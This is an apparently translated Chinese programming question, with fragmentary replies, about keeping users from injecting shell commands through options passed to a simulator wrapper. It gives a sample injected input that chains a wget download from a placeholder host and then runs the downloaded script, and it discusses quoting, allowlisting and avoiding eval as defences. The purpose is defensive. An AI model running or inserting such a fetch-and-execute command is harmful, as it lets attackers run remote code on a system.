我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么?
例如。
- 用户提供:
-a -b
- 应用程序执行:
mysim --preset_opt -a -b
但是,我不希望这种情况发生:
- 用户提供:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- 应用程序执行:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
当前,我认为我可以将每个用户提供的选项都用单引号引起来,'
并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
注意:该mysim
命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。
eval
。我在mysim
shell脚本中调用可执行文件。如果我只是复制用户提供的选项字符串并将其粘贴到mysim
命令末尾,就会看到注入发生。
-a -b
。因此,我希望确保不会在该字符串中注入其他命令。
[a-zA-Z0-9 _-]
看起来是一个不错的防御选择。
eval
该应用程序?如果没有,则不应进行注射:x="&& echo Doomed" ; echo $x